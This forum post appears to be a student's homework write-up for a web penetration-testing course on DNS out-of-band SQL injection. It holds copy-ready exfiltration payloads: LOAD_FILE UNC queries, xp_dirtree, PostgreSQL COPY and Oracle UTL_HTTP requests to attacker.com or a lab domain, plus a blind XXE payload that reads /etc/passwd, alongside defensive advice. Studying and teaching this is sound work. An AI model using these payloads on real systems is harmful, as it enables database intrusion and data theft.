发帖
 找回密码
 立即注册
搜索
0 0

分享 WEB渗透系统班-DNS 注入+referer&XFF 头注入

技术分享 1034 0 2025-4-16 19:30:47
WEB渗透测试工程师系统班250303期
第17节课作业
1. 实际操作课堂讲解的yakit sql注入靶场,截图?
第一步:sql配置文件secure_fiel_prive为空


第二步:yakit配置一个本地的DNS服务器


第三步:注入
payload?id=1and if((select load_file
(concat('//',(select database()),'.vvzaqedink.zaza.eu.org/abc'))),1,0) --+


第四步:爆库名


1. 什么是UNC?
1-UNC是一种命名惯例,主要用于在Microsoft Windows上指定和映射网络驱动器.UNC命名惯例最多被应  用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
2-UNC 就是 '\\\\' 代表Microsoft Windows通用命名约定(UNC**
3-那么使用,通用命名约定(UNC)的文件和目录路径格式,都会引发DNS地址解析
4-双斜杠表示网络资源路径多加两个\就是转义了反斜杠
2. dns注入的原理是什么?
DNS注入(DNS Exfiltration) 是一种利用 DNS协议外传数据 的注入技术,常用于在SQL注入中绕过传统防护(如无回显、无报错、无延时响应),通过触发数据库发起DNS查询,将敏感数据隐藏在DNS请求中,最终通过监控DNS日志获取信息。
核心原理
1.数据外传机制
攻击者构造一个SQL语句,将目标数据(如数据库名、表名)作为子域名,利用数据库函数触发对攻击者控制域名的DNS查询。例如:
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\test.txt'));
数据库尝试访问 数据库名.attacker.com UNC路径,触发DNS解析请求。
攻击者通过监控 attacker.com DNS日志,即可捕获子域名(即数据库名)。
2.绕过网络限制
DNS流量通常被防火墙放行(端口53 UDP),且隐蔽性高,不易被传统安全设备检测。
攻击步骤示例
假设目标存在SQL注入漏洞,且数据库支持外部网络请求(如MySQLLOAD_FILE)。
1. 确认DNS注入可行性
构造一个测试请求,检查是否能触发DNS查询:
id=1 AND (SELECT LOAD_FILE('\\\\test.attacker.com\\fake.txt')) --
若攻击者的DNS服务器收到 test.attacker.com 的解析记录,说明注入可行。
2. 外传数据库名
id=1 AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\fake.txt'))) --
数据库执行时,尝试访问 数据库名.attacker.com,攻击者从DNS日志中获取子域名(即数据库名)。
3. 逐字符外传数据
若需获取更复杂数据(如表名、字段值),需逐字符截取并拼接为子域名:
id=1 AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT SUBSTR(tbl_name,1,1) FROM sqlite_master LIMIT 1), '.attacker.com\\fake.txt'))) --
截取第一个表的第一个字符作为子域名,通过多次请求逐步获取完整数据。
技术依赖条件
1.数据库支持外部请求
MySQL:需启用secure_file_priv为空(允许LOAD_FILE访问网络路径)。
SQL Server:可通过xp_dirtreexp_fileexist触发DNS查询。
PostgreSQL:使用COPYdblink函数。
OracleUTL_HTTPUTL_INADDR(需权限)。
2.目标服务器可出站DNS查询
目标服务器的防火墙需允许向外部DNS服务器发起请求。
3.攻击者控制DNS服务器
需拥有一个域名(如attacker.com)并监控其DNS查询日志。
常见数据库的DNS注入方法
1. MySQL
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\test'));
利用UNC路径触发DNS解析(仅Windows环境生效)。
2. SQL Server
EXEC master..xp_dirtree '\\attacker.com\test\' + (SELECT TOP 1 table_name FROM information_schema.tables);
xp_dirtree尝试访问远程路径,触发DNS查询。
3. PostgreSQL
COPY (SELECT '\\' || (SELECT current_database()) || '.attacker.com\test') TO 'C:\temp\test.txt';
COPY命令尝试写入远程路径,触发DNS解析。
优势与局限性
优势                                                局限性
绕过无回显限制,数据外传隐蔽                        依赖数据库配置允许外部网络请求
DNS流量通常不被防火墙拦截                                 需要控制域名并监控DNS日志
适用于高安全环境(无报错、无延时、无回显)                      逐字符外传效率极低
可绕过WAFHTTP响应的检测                         部分数据库版本默认禁用相关函数(如MySQLsecure_file_priv
3. 带外查询的应用场景?
带外查询(Out-of-Band, OOB) 是一种通过 非直接通信渠道传输数据 的技术。在网络安全中,它常用于 绕过传统防护机制(如无回显、无报错的场景),尤其在 数据外传(Exfiltration) 或 攻击探测 中发挥关键作用。以下是其核心应用场景及具体实现方式:
一、攻击场景:数据外传与漏洞利用
1. SQL 注入中的隐蔽数据窃取
场景特点:
目标系统存在 SQL 注入漏洞,但 无回显、无报错、无布尔条件差异(如统一返回空白页)。
带外查询的作用:
通过触发数据库向外部服务器发起请求(如 DNSHTTP),将数据隐藏在协议中传输出去。
示例:
DNS 注入(MySQL):
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\fake'));
数据库名通过子域名 数据库名.attacker.com 外传,攻击者从 DNS 日志中捕获数据。
HTTP 请求(Oracle):
SELECT UTL_HTTP.REQUEST('http://attacker.com/?data=' || (SELECT table_name FROM user_tables WHERE rownum=1)) FROM DUAL;
表名通过 HTTP GET 请求参数外传,攻击者 Web 服务器记录请求中的 data 值。
2. 绕过防火墙与流量检测
场景特点:
目标网络严格过滤 HTTP/HTTPS 流量,但放行 DNSICMP 等基础协议。
带外查询的作用:
利用“合法”协议(如 DNSICMP)外传数据,绕过传统 WAF 或防火墙规则。
示例:
ICMP 隧道(C2 通信):
攻击者通过 ICMP 数据包(Ping)的负载字段隐藏命令执行结果,与远程服务器通信。
DNS 隧道(数据渗透):
将数据编码为子域名(如 Base64),通过高频 DNS 查询分批传输文件内容。
3. 无交互漏洞的利用
场景特点:
漏洞触发后无直接反馈(如反序列化漏洞、XXE 盲注),需通过外部网络行为确认漏洞存在。
带外查询的作用:
构造请求触发目标向攻击者服务器发起连接,通过日志确认漏洞可利用性。
示例(XXE 盲注):
<!ENTITY % payload SYSTEM "http://attacker.com/xxe">
<!ENTITY % exploit "<!ENTITY % trigger SYSTEM 'php://filter/convert.base64-encode/resource=file:///etc/passwd'>">
%exploit;
%trigger;
运行 HTML
若攻击者服务器收到 HTTP 请求,则说明 XXE 漏洞存在且可读取文件。
二、合法场景:监控与调试
1. 服务健康检查
场景特点:
需验证服务是否可达或正常运行,但无法直接访问目标(如防火墙隔离)。
带外查询的作用:
通过第三方服务(如外部监控平台)发起请求,间接检测目标状态。
示例:
数据库主从同步检测:
从库通过外部 HTTP 接口通知监控平台其同步状态。
云服务心跳检测:
虚拟机定期向外部服务器发送 ICMP DNS 请求,证明自身存活。
2. 日志聚合与远程诊断
场景特点:
分布式系统需将日志集中管理,但内部网络隔离。
带外查询的作用:
通过专用日志通道(如 Syslog over TLS)将日志发送到外部存储。
示例:
Kubernetes 集群日志:
Pod 通过 Fluentd 将日志发送到外部 Elasticsearch 服务器。
IoT 设备诊断:
设备通过 MQTT 协议将错误日志推送到云端监控平台。
三、带外查询的技术实现方式
不同协议在攻击与合法场景中的应
协议/技术            攻击场景示例                             合法场景示例
DNS             通过子域名外传数据(数据.attacker.com                          域名解析状态监控
HTTP/HTTPS                               通过 URL 参数或 Cookie 外传数据(http://attacker.com/?data=xxx            API 状态检查、日志推送
ICMP          利用 Ping 数据包负载传输加密命令(ping -p 48656C6C6F attacker.com          网络连通性测试
SMTP          通过邮件内容或附件外传数据(发送敏感文件到 exfil@attacker.com          告警邮件通知
文件写入        将数据写入共享目录(\\attacker.com\share\data.txt)                    跨服务器日志同步
四、防御带外查询攻击
1.网络层控制:
限制数据库、应用服务器出站流量(仅允许必需协议如 HTTPS)。
监控异常 DNS 查询(如高频解析随机子域名)。
2.代码层防护:
使用参数化查询(Prepared Statements)彻底杜绝 SQL 注入。
过滤用户输入中的特殊符号(如 \\.%)。
3.日志与告警:
记录所有出站 DNS/HTTP 请求,分析异常模式。
部署 SIEM 工具(如 Splunk)实时告警可疑外连行为。
4.最小化权限:
数据库账户禁止执行高危函数(如 LOAD_FILExp_dirtree)。
容器化部署时启用 Seccomp/AppArmor 限制系统调用。
总结
带外查询的核心价值在于 利用非直接通信渠道绕过限制,无论是攻击者窃取数据,还是开发者调试系统,其本质都是通过“旁路”传递信息。在攻防对抗中,理解其应用场景和技术细节,是构建有效防御体系的关键。

一、笔记标题:WEB渗透系统班-DNS 注入+referer&XFF 头注入

二、文章内容:

1. 课程内容概要

        主要知识点1:DNS注入
        主要知识点2:refer头注入

2.重点知识与细节

        概念解析
        概念1: UNC概念
        概念2: DNS注入原理
        概念3:带外查询场景

        关键步骤(DNS 注入逐字符截取数据原因)
        第1点: DNS 协议对域名的长度限制
                    子域名(Subdomain)长度限制:每个子域名部分(如 mydb 在 mydb.attacker.com 中)最长 63 个字符,整个域名(包括所有子域和根域)最长 253 个字符。
                    直接传递长数据会失败:
                    若直接传递完整的表名(如 user_accounts),虽然长度在限制内,但存在以下风险:
                           特殊字符(如空格、下划线 _)可能被 DNS 服务器拒绝或转义。
                           部分网络设备或防火墙可能拦截异常长域名。
        第2点:数据可读性与兼容性
                   非字母数字字符问题:
                   如果数据包含非常规字符(如 @、#、/),在域名中会被视为非法字符,导致 DNS 解析失败。
                   逐字符截取允许攻击者对每个字符单独编码(如转十六进制),避免非法字符问题。
        第3点:避免触发安全防护
                   长随机子域名易被检测:
                   一次性传输完整数据(如 user_accounts.attacker.com)可能被安全设备识别为异常模式(如子域名与正常业务无关)。
                   逐字符请求(如 u.attacker.com→s.attacker.com→e.attacker.com)更隐蔽,看起来像普通探测流量。
        第4点:技术实现限制
                   数据库函数返回值限制:
                   某些数据库的查询结果可能被截断(如 SQLite 默认不返回多行结果),或注入点仅允许单行单列输出。
                   逐字符截取是绕过这些限制的唯一方法。

        相关代码无

3.实操练习 和 解析

如作业

4.个人总结

        本节课最大的收获是:学习了sql注入的更多场景,以及快速注入的办法
        仍然存在疑问的地方:暂无
        需要课后深入学习的内容:sql注入各种场景

──── 0人觉得很赞 ────

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回